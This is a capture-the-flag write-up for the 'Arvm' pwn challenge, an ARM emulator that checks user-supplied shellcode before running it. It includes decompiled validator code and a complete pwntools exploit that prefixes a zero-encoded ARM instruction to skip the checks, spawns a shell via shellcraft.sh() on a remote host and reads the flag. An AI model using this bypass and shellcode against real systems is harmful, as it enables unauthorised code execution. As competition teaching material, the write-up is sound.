Arvm

Author: Nspace

Tags: pwn

Points: 793 (25 solves)

Description:

Welcome! Here is my Emulator. It can use only human.

Always SMiLEY :)

This challenge is an ARM binary running in qemu-user. The challenge asks us to input up to 4k of ARM machine code, then gives us a choice between running the code, printing it, or replacing it with new code.

Running Emulator...
Welcome Emulator

[...]

1. Run Code
2. View Code
3. Edit Code
:>


When we choose to run the code the binary asks us to solve a simple captcha, where we only have to read a number from the challenge and send it back.

Before run, it has some captcha
Secret code : 0xf40117a4
Code? :> $0xf40117a4  After we pass the captcha, the binary verifies our shellcode (run()): struct vm *vm; void invalid_insn(uint32_t insn) { printf("Instruction 0x%x is invalid\n", insn); exit(-1); } int run(void) { unsigned int v0; uint32_t next_insn; for (uint32_t insn = -1; vm->registers[15] < vm->code + 4096; insn = next_insn) { if (vm->registers[15] < vm->code) { break; } next_insn = *(uint32_t *)vm->registers[15]; vm->registers[15] += 4; if (insn == 0) { break; } if (insn != -1 && !sub_11314(insn)) { invalid_insn(insn); } v0 = sub_1124C(insn); if (v0 <= 4) { switch (v0) { case 0u: if ( sub_117B8(insn) == -1 ) invalid_insn(insn); continue; case 1u: if ( sub_11D98(insn) == -1 ) invalid_insn(insn); continue; case 2u: if ( sub_11F28(insn) == -1 ) invalid_insn(insn); next_insn = -1; continue; case 3u: if ( sub_126EC() == -1 ) invalid_insn(insn); continue; case 4u: if ( sub_12000(insn) == -1 ) invalid_insn(insn); continue; default: invalid_insn(insn); continue; } } if ( v0 != -1 ) { invalid_insn(insn); } } return 0; }  If the verification succeeds, the binary runs our shellcode. The run function is presumably trying to prevent our shellcode from doing something fishy like launching a shell. However I don’t know for sure becauase I didn’t actually reverse the checks. Instead I noticed that the verification succeeds immediately when it encounters an instruction that encodes to 0. 0 is a valid ARM instruction that is essentially a nop (andeq r0, r0, r0). This means that we can easily bypass all the checks by prefixing our shellcode with this instruction. Here is the final exploit script: from pwn import * e = ELF('app') context.binary = e shellcode = asm('\n'.join([ 'andeq r0, r0, r0', shellcraft.sh(), ])) if args.REMOTE: r = remote('15.165.92.159', 1234) else: r = process('./run.sh') r.sendafter(b'Insert Your Code :> ', shellcode) r.sendlineafter(b':> ', b'1') r.recvuntil(b'Secret code : 0x') captcha = int(r.recvline().strip().decode(), base=16) r.sendline(hex(captcha).encode()) r.sendline(b'cat flag*') r.stream()  $ python3 exploit.py REMOTE